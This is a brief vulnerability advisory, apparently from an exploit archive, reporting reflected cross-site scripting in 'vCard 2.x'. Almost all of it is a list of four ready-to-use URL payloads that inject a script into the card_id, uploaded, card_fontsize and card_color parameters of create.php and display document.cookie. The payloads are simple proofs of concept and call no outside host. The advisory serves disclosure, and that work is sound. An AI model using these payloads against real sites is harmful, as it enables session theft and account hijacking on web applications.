Hello
Vulnerable: vCard 2.x

http://www.belchiorfoundry.com

Exploit :
http://example.com/vcard/create.php?card_id='><script>alert(document.cookie)</script>

http://example.com/vcard/create.php?uploaded='><script>alert(document.cookie)</script>

http://example.com/vcard/create.php?card_fontsize='><script>alert(document.cookie)</script>

http://example.com/vcard/create.php?card_color='><script>alert(document.cookie)</script>

Discovery by Linux_Drox

http://www.lezr.com

Best Regards